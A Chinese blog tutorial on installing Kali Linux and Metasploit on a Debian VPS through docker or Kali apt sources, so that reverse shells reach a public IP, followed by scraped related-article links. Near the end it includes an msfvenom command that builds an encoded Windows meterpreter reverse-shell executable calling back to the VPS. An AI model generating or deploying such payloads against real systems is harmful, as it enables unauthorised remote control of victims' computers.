在渗透测试过程中,很多时候我们需要反弹一个shell回来。使用empire也好,MSF也好,其他工具也好,都避不开公网IP的问题。这时候我们就需要一个VPS来进一步进行渗透测试。
建立通道连接的方式有很多种,比如NAT映射、ssh隧道等各种方式,这里我们就不探讨了。
建立通道的不稳定性很高,容易断开,对网络安全爱好者来说是一种莫大的折磨。而且可能由于种种原因,购买不到KVM架构的VPS,无法直接在VPS上安装kali linux等渗透测试系统。下面介绍了几种在debian系统下安装kali linux的方法。配合使用screen,或者tmux等工具非常好用
首先我们为我们的VPS安装Debian 8
几乎万能的方法—docker
Docker 是一个开源的应用容器引擎,让开发者可以打包他们的应用以及依赖包到一个可移植的容器中,然后发布到任何流行的 Linux 机器上,也可以实现虚拟化。容器是完全使用沙箱机制,相互之间不会有任何接口。
由于docker的运行环境中需要3.8+的内核,此方法不是特别适用,可使用uname -a来检查VPS的内核版本。比如小编的VPS厂商给出的镜像,内核版本只有2.6+。如果你的内核版本低于3.8,请略过该方法,往下看。
安装docker
在debian 8 下安装docker
使用
在docker中运行kali linux
kali linux官网中对此已有详细介绍,这里我们不在重复
较为推荐的方法—使用脚本直接安装工具
git地址:
使用方法
最原始却较为有效的解决方案—直接安装
这是小编一直在使用的方法,之前使用脚本安装kali的时候遇到了一些奇奇怪怪的问题,由于急需,所以后期也没有再升入的去研究,这里分享出来,在以上两种方法都不能解决问题的情况下作为一个备用方法来使用
首先我们修改源,将debian源直接换为kali的官方源
修改/etc/apt/sources.list文件,将内容全部删除,添入以下内容:
deb http://http.kali.org/kali kali-rolling main non-free contrib
deb http://http.kali.org/kali kali-rolling main non-free contrib
deb-src http://http.kali.org/kali kali-rolling main non-free contrib
然后运行:
apt-get update
运行之后我们会看到,报错了!!!
W: GPG error: http://http.kali.org kali-rolling InRelease: The following signatures couldn't be verified because the public key is not available: NO_PUBKEY ED444FF07D8D0BF6
这时候我们需要添加kali源的public key,对应内容,小编这里的KEYID是:ED444FF07D8D0BF6
那么我们就允许如下命令来添加公钥
apt-key adv --keyserver pgp.mit.edu --recv-keys ED444FF07D8D0BF6
我们重新运行apt-get update
 
安装数字证书
使用apt-key list来查看下,发现有个keyring.gpg 过期了
下载新的文件
安装
apt install ./kali-archive-keyring_2018.1_all.deb
验证安装
apt-key list
 
安装数字证书
wget archive.kali.org/archive-key.asc //下载签名 apt-key add archive-key.asc //安装签名
 
apt-get update //更新包列表
 
成功检查更新。
接下来我们可以根据自己的选择安装所需要的副版
例如:
apt-get -y install kali-linux-full 将安装kali工具
apt-get -y install kali-linux-web 将安装所有和web相关的工具
这里小编选择安装web相关的工具
之后有一些东西需要去选择
大家可以根据自己的需求去安装(小编一般都是一路回车,除有些特殊情况需做选择)
等安装完成之后,按需升级一下软件包
apt-get update apt-get dist-upgrade
至此,我们的kali就算是安装完成了,配合screen或tmux等工具,我们将拥有一个具有所有kali功能的VPS。提高我们的渗透效率
tmux使用方法
 
Kali Linux 子工具集
kali-linux
kali-linux元数据包是Kali Linux的一个完全简单的安装,包括各种网络服务,如Apache和SSH,Kali内核,以及许多版本控制应用程序,如git,svn等。列出了所有其他元数据包下面还包含kali-linux。
我们官网默认下载的kali linux 2.5G左右的ISO就是指它。
安装大小:1.5 GB
 
kali-linux-full
当您下载Kali Linux ISO时,您实际上是在下载安装了kali-linux-full元数据包的安装。此软件包包含您在Kali中熟悉的所有工具。
安装大小:9.0 GB
 
kali-linux-all
为了保持我们的ISO尺寸合理,我们无法包含我们为Kali打包的每个工具,并且有许多工具根据硬件无法使用,例如各种GPU工具。如果要安装每个可用的Kali Linux软件包,可以安装kali-linux-all元数据包。
安装大小:15 GB
 
kali-linux-top10
在Kali Linux中,我们有一个名为“十大安全工具”的子菜单。 kali-linux-top10元数据包将一举为您安装所有这些工具。
安装大小:3.5 GB
 
kali-linux-forensic
如果您正在进行取证工作,则不希望分析系统包含大量不必要的工具。为了拯救,kali-linux-forensic元数据包只包含Kali中的取证工具。
安装大小:3.1 GB
 
kali-linux-gpu
GPU实用程序非常强大,但需要特殊硬件才能正常运行。出于这个原因,它们不包含在默认的Kali Linux安装中,但您可以使用kali-linux-gpu一次性安装它们并开始破解。
安装大小:4.8 GB
 
kali-linux-pwtools
kali-linux-pwtools元数据包包含40多种不同的密码破解实用程序以及kali-linux-gpu中包含的GPU工具。
安装大小:6.0 GB
 
kali-linux-rfid
对于正在进行RFID研究和开发的用户,我们有kali-linux-rfid元数据包,其中包含Kali Linux中提供的所有RFID工具。
安装大小:1.5 GB
 
kali-linux-sdr
kali-linux-sdr元数据包包含大量适用于您的软件定义无线电黑客需求的工具。
安装大小:2.4 GB
 
kali-linux-voip
很多人告诉我们他们使用Kali Linux进行VoIP测试和研究,所以他们很高兴知道我们现在有一个专用的kali-linux-voip元数据包,有20多个工具。
安装大小:1.8 GB
 
kali-linux-web
Web应用程序评估在渗透测试领域非常普遍,因此,Kali包含kali-linux-web元数据包,其中包含许多与Web应用程序黑客相关的工具。
安装大小:4.9 GB
 
kali-linux-wireless
与Web应用程序一样,许多渗透测试评估都针对无线网络。 kali-linux-wireless元数据包包含一个易于安装的软件包中所需的所有工具。
安装大小:6.6 GB
 
 
docker 中安装kali
0x02 安装docker
sudo apt-get install docker.io
0x03 安装kali及metasploit
下载kali镜像
docker pull kalilinux/kali-linux-docker
可以通过docker images命令查看你下载好的镜像。
这里kalilinux就是通过上一个命令下载好的,ID是你的镜像ID。msf镜像是我下面安装了metasploit后自己保存的镜像。这里不用管它
root@vultr:~# docker images
 
下载完成的kali是没有metasploit的,是一个基础版。所以先把kali的镜像挂载到容器里,运行kali。然后直接apt-get下载即可。
docker run -t -i kalilinux/kali-linux-docker /bin/bash //用镜像创建一个容器
 
然后它会立即创建并进入到这个容器中,也就是进入到kali中。
大概是这样的那一串字符串事你的这个容器ID
root@ce3df32899e1:/#
如果它提示这样的报错内容
  1. System error: mountpoint for devices not found;
  2. Couldn't run auplink before unmount: exec: "auplink": executable file not found in $PATH;
请执行apt install aufs-tools cgroup-lite,然后在运行上个命令创建容器。
0x04 安装metasploit
apt-get update && apt-get upgrade
apt-get install metasploit-framework
等安装完成后就可以进入metasploit了
msfconsole -L
 
然后exit退出msf退出kali,将这个容器保存为一个镜像。
docker ps -a 查看容器ID
  1. root@vultr:~# docker ps -a
  2. CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
  3. ce3df32899e1 msf:latest "/bin/bash" 6 hours ago Up 18 minutes 0.0.0.0:8888->8888/tcp agitated_tesla
  4. e56943810487 kalilinux/kali-linux-docker:latest "/bin/bash" 6 hours ago Exited (0) 4 hours ago kickass_darwin
  5. root@vultr:~#
docker commit e56943810487 msf将kali这个容器保存为一个镜像。
docker run -t -p 8888:8888 -i msf /bin/bash 将vps的8888端口与容器的8888端口映射上,方便反弹shell。端口自己随意设置。
这时候就可以愉快的使用公网ip玩metasploit了。
0x05 msf使用
做个简单示范
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 5 -b ‘\x00’ LHOST=[vps公网ip] LPORT=8888 -f exe > a.exe
 
成功反弹shell
0x06 docker的常用命令
  1. docker run -t -i <image> 用镜像创建一个容器
  2. docker pull image 拉拽镜像
  3. docker images 查看可用镜像
  4. docker ps 查看运行的容器
  5. docker ps -a 查看所有的容器
  6. docker stop <container id> 停止该容器
  7. docker start <container id> 开始该容器
  8. docker attach <container id>与该容器交互
  9. docker commit <container id> <new id>创建新的镜像
  10. docker rm <container id> 删除容器
  11. docker rmi <image name> 删除镜像
  12. docker cp <containerId>:/file/path/within/container /host/path/target 从Docker容器内拷贝文件到主机上
 
 
 
debian8 换源直接安装metasploit
 
安装postgresql数据库
 
root@localhost:~# apt-get install postgresql
root@localhost:~# su - postgres -c "psql" #切换到postgres用户并登陆数据库
##有的教程中使sudo -u postgres psql也是可以的
postgres=# alter user postgres with password ‘postgrespass‘; #修改数据库密码为postgrespass
postgres=# \q #退出数据库
 
安装metasploit
 
root@localhost:~# apt-get install metasploit-framework
# 这里会装一大堆东西,而且会更新libc之类软件,如果你的系统还装有其它软件,请谨慎安装
 
配置metasploit
 
root@localhost:~# msfconsole
msf > db_connect postgres:postgrespass@127.0.0.1/msfbook #使msf连接到postgresql数据库
[*] Rebuilding the module cache in the background... #这句话的意思是在后台重建模块缓存。
msf > db_status #查看数据库连接状态
[*] postgresql connected to msfbook #这个时候就可以正常使用msf了。
 
msf > search smb
[!] Module database cache not built yet, using slow search
##如果出现了这个信息,意思是说数据库中没有模块的缓存,使用缓慢的搜索(直接搜索磁盘)。
##出现这个情况有可能是后台重建缓存未完成,只需稍等片刻再尝试,也可能是数据库连接不正常,
##导致无法重建/读取缓存。

在vps上安装 kali linux的更多相关文章

  1. 在VMware Workstation上安装Kali Linux

    在VMware Workstation上安装Kali Linux VMware Workstation是一款功能强大的桌面虚拟计算机软件.该软件允许用户在单一的桌面上同时运行不同的操作系统,并且可以进 ...

  2. VMware上安装Kali Linux 超详细教程

    一.下载镜像文件 下载好系统对应镜像文件  https://www.kali.org/downloads/ 二.创建新的虚拟机 1.创建新的虚拟机 我们使用自定义的配置方法. 2.添加镜像文件的路径 ...

  3. [转载]在termux上安装Kali Linux

    最近在手机上下了个Termux,然后想装个kali,就找到了这篇文章. 不过其中的命令有一处错误(在我进行配置的时候报错了): 命令应该是 ./atilo install kali

  4. windows下 安装Kali Linux到 U盘的方法

    作者:玄魂工作室 \ 2016年10月20日 把Kali Linux安装到U盘好处很多,可以从U盘启动使用整个电脑的硬件资源, 可以随身携带,减少对自己电脑的影响. 今天要给大家讲的是如何在windo ...

  5. 如何在LINUX VPS上安装VPN详细步骤

    在vps上安装vpn是个难点,很多朋友都不会,这儿结合一位朋友的安装经验做下介绍.注意你的vps要安装做vpn使用,一定要注意你的流量限制,使用Vpn上游戏上youtube看视频等都比较耗费资源,否则 ...

  6. 安装Kali Linux操作系统Kali Linux无线网络渗透

    安装Kali Linux操作系统Kali Linux无线网络渗透 Kali Linux是一个基于Debian的Linux发行版,它的前身是BackTrack Linux发行版.在该操作系统中,自带了大 ...

  7. 安装 Kali Linux 后需要做的 20 件事

    安装 Kali Linux 后需要做的 20 件事 本文含有我觉得有用的每一件事情.本文分为三大部分: 专门针对Kali用户 Kali Linux是来自Debian的一个特殊版本,Kali Linux ...

  8. Kali Linux on Android # 实测:小米2s离线安装Kali Linux

    小米2s 离线安装Kali Linux 2017年2月4日  by 小甘丶 前段时间也研究过一两天,没弄明白,今天突然来兴致了,说研究一下吧,结果一不小心,就弄明白了! 第一次研究,主要是没弄明白这个 ...

  9. 安装Kali Linux 后需要做的 20 件事 - 51CTO.COM

    我在本文中整理出了安装一份全新的Kali Linux后总是要做的若干件事情.由于我有多台笔记本电脑和工作站,所以尽量扩大下列操作步骤的适用范围,以满足每个人的需求.这是我在安装Kali Linux后做 ...

随机推荐

  1. 自定义new和delete

    #include "stdafx.h" #include <stdlib.h> #include <malloc.h> #include <iostr ...

  2. Dock学习(一):容器介绍

    一.什么是容器 1.容器是一种轻量级.可移植.自包含的软件打包技术,使应用程序可以在几乎任何地方以相同的方式运行.开发人员在自己的笔记本上创建并测试好的容器,无需任何修改就能够在生产系统的虚拟机.或物 ...

  3. 个人永久性免费-Excel催化剂功能第92波-地理地址与经纬度互转功能

    GPS设备和手机LBS的兴起,在地理信息存储过程中,在程序.应用级别是需要用经纬度去定位,而在数据分析的级别,特别是省市区镇街的分析,用到的是人可识别的文本类型存储,从设备中采集下来的数据和人工维护的 ...

  4. Linux/Ubuntu正确卸载LXDE

    第一步: sudo apt-get remove lxde 第二步 sudo apt autoremove lxde

  5. C#3.0新增功能10 表达式树 05 解释表达式

    连载目录    [已更新最新开发文章,点击查看详细] 表达式树中的每个节点将是派生自 Expression 的类的对象. 该设计使得访问表达式树中的所有节点成为相对直接的递归操作. 常规策略是从根节点 ...

  6. 解读equals()和hashCode()

    前面部分摘自:https://blog.csdn.net/javazejian/article/details/51348320 一:Object中equals方法的实现原理 public boole ...

  7. <java程序大集合>

    1.以下关于开发java程序的描述错误的是(). A.开发java程序的步骤包括:编写源程序,编译,运行 B.编写的java源程序文件使用.java作为扩展名 C:java源文件经编译后,生成后娺为. ...

  8. supervisor指南

    1 安装 yum install -y supervisor 如果提示没有这个安装包,则需要添加epel源 wget -O /etc/yum.repos.d/epel.repo http://mirr ...

  9. java相关的一些资源

    http://www.cnblogs.com/best/p/5876559.html#_label1

  10. Linux学习笔记04

    文件查找命令find 文件查找命令: which locate find which:查找命令字所在的位置 locate:模糊匹配(只要包含关键字的文件都查找出来) 不是实时的,基于数据库查找, up ...